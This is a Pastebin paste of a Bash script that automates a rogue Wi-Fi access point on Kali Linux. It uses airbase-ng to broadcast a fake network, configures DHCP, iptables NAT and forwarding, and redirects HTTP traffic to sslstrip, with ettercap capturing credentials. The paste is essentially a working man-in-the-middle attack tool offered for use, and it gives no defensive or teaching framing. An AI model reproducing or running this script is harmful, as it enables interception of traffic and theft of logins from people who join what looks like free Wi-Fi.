Advertisement
atulh4c

Rogue access point [automatic] kali linux

Dec 18th, 2014
298
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.84 KB | None | 0 0
  1. #coded by atulh4c
  2. #changing name does not makes you coder
  3. #automation in kali linux
  4. #need to install kali linux tools for making it to work in other distros [ubuntu]
  5. #should be in root mode
  6.  
  7. #configure dhcp server
  8.  
  9. # 1.apt-get install dhcp3-server
  10. # 2.nano /etc/dhcpd.conf
  11. # 3.paste below line in .conf file
  12. #  
  13. #  authoritative;
  14. #  default-lease-time 600;
  15. #  max-lease-time 7200;
  16. #  subnet 192.168.1.0 netmask 255.255.255.0 {
  17. #  option routers 192.168.1.1;
  18. #  option subnet-mask 255.255.255.0;
  19. #  option domain-name "freewifi";
  20. #  option domain-name-servers 192.168.1.1;
  21. #  range 192.168.1.2 192.168.1.40;
  22.  
  23.  
  24. # Colors
  25. ESC_SEQ="\x1b["
  26. COL_RESET=$ESC_SEQ"39;49;00m"
  27. COL_RED=$ESC_SEQ"31;01m"
  28. COL_GREEN=$ESC_SEQ"32;01m"
  29. COL_YELLOW=$ESC_SEQ"33;01m"
  30. COL_BLUE=$ESC_SEQ"34;01m"
  31. COL_MAGENTA=$ESC_SEQ"35;01m"
  32. COL_CYAN=$ESC_SEQ"36;01m"
  33.  
  34. echo -e "  $COL_RED           + ================ROUGH AP================+$COL_RESET"
  35. echo -e "  $COL_BLUE          +            Created by atulh4c           +$COL_RESET"
  36. echo -e "  $COL_RED           + ========================================+$COL_RESET"
  37. echo ""
  38. echo ""
  39. echo "Need Root privilages"
  40. echo ""
  41. echo -e "$COL_YELLOW First you configure your DHCP server $COL_RESET"
  42. echo ""
  43. echo -e "$COL_YELLOW keep your interface in monitor mode using airmon-ng start <interface> $COL_RESET "
  44. echo ""
  45. echo -e "$COL_RED You may get error in creating airbase"
  46. echo -e "Kill the process shown while setting interface in monitor mode$COL_RESET"
  47. echo ""
  48. echo ""
  49. echo -e "$COL_BLUE Finding gatewayip address $COL_RESET"
  50. sleep 3
  51. echo ""
  52. route -n
  53. echo ""
  54. echo -e "$COL_BLUE Enter the interface for monitor mode $COL_RESET"    #user input for monitor mode
  55. read monitor
  56.  
  57. echo -e  "$COL_BLUE Enter gateway ip address $COL_RESET"
  58. read gatewayip
  59. echo ""
  60. echo -e "$COL_BLUE Enter Your Internet Source Interface $COL_RESET"   #your internet source [eth0/wlan0../usb0/]
  61. read internetsource
  62. echo ""
  63. echo -e "$COL_BLUE Creating airbase $COL_RESET"
  64. sleep 1
  65.  
  66. gnome-terminal  -e "airbase-ng -c 11 -e opnewblood $monitor"
  67.  
  68. sleep 2
  69.  
  70. ifconfig at0 192.168.1.1 netmask 255.255.0
  71. ifconfig at0 mtu 1400
  72. route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
  73. echo 1 > /proc/sys/net/ipv4/ip_forward
  74. iptables -t nat -A PREROUTING -p udp -j DNAT --to $gatewayip
  75. iptables -P FORWARD ACCEPT
  76. iptables --append FORWARD --in-interface at0 -j ACCEPT
  77. iptables --table nat --append POSTROUTING --out-interface $internetsource -j MASQUERADE
  78. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
  79. dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0
  80. /etc/init.d/isc-dhcp-server start
  81.  
  82. sleep 1
  83.  
  84. echo -e "$COL_BLUE Starting sslstrip at port 10000 $COL_RESET"
  85. gnome-terminal -e "sslstrip -f -p -k 10000"
  86.  
  87. sleep 1
  88. echo -e "$COL_BLUE Starting Ettercap $COL_RESET"
  89. sleep 1
  90. ettercap -p -u -T -q -i at0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement